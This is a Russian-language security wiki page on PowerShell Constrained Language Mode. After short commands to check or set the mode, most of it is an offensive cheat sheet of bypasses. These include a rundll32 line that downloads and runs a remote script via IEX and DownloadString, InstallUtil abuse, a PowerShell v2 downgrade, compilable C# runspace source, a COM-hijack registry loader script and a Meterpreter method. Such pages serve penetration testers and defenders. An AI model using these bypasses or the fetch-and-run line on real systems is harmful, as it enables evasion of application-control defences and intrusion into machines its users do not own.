Clm
Материал из InformationSecurity WIKI
CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций.
Содержание
Общее
Определить включен ли CLM
PS C:\> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
Поменять режим(права админа)
PS C:\> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\> $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
PS C:\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
Или выставить/удалить системную переменную окружения "__PSLockdownPolicy" (значение "4" если включено).
Обход защиты
rundll32.exe
https://github.com/iomoath/PowerShx
https://github.com/ropbear/CLMBypass
rundll32.exe CLMBypass.dll,Run IEX(New-Object Net.WebClient).DownloadString('http://192.168.49.72:8080/LAPSToolkit/LAPSToolkit.ps1');
rundll32 PowerShx.dll,main -i
PowerShx.exe -i
InstallUtil.exe
https://github.com/calebstewart/bypass-clm
dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\tmp\bypass-clm.exe"
powershell version 2
powershell -version 2
Custom PowerShell Runspace
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace CLMBypass
{
class Program
{
static void Main(string[] args)
{
String cmd = args[0];
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
Скомпилировать как
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe /r:"System.Management.Automation.dll" CLMBypass.cs
Использовать
.\CLMBypss.exe "COMMAND"
dll loader - создание своего object type
Поместить DLL на сервер и запустить следующий код:
$dllPath = "C:\test.dll"
$uuid = "{72C24DD5-D70A-438B-8A42-98424B88D3AD}"
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS -erroraction 'silentlycontinue' | Out-Null
$matches = whoami /user | select-string -Pattern "(S-1-5-[-0-9]+)" -all | select -ExpandProperty Matches
$sid = $matches.value
$key = 'HKU:\{0}_classes' -f $sid
# Добавление InProcServer
New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $uuid
New-Item -Path $key -Name 'InprocServer32' -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\CLSID\{1}\InprocServer32' -f $sid, $uuid
New-ItemProperty -Path $key -Name "(Default)" -Value $dllPath -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null
# Добавляем коротное название
$key = 'HKU:\{0}_classes' -f $sid
New-Item -Path $key -Name xpn -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\xpn' -f $sid
New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\xpn\CLSID' -f $sid
New-ItemProperty -Path $key -Name "(Default)" -Value $uuid -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null
# Запуск
New-Object -ComObject xpn -ErrorAction 'SilentlyContinue' | Out-Null
Можно написать DLL, который будет отключать CLM.
Подробнее: https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/
MSF Meterpreter
Meterpreter в метасплоите отключает защиту CLM.
Для этого нужно создать соединение, перейти в него и ввести следующие команды:
load powershell
powershell_shell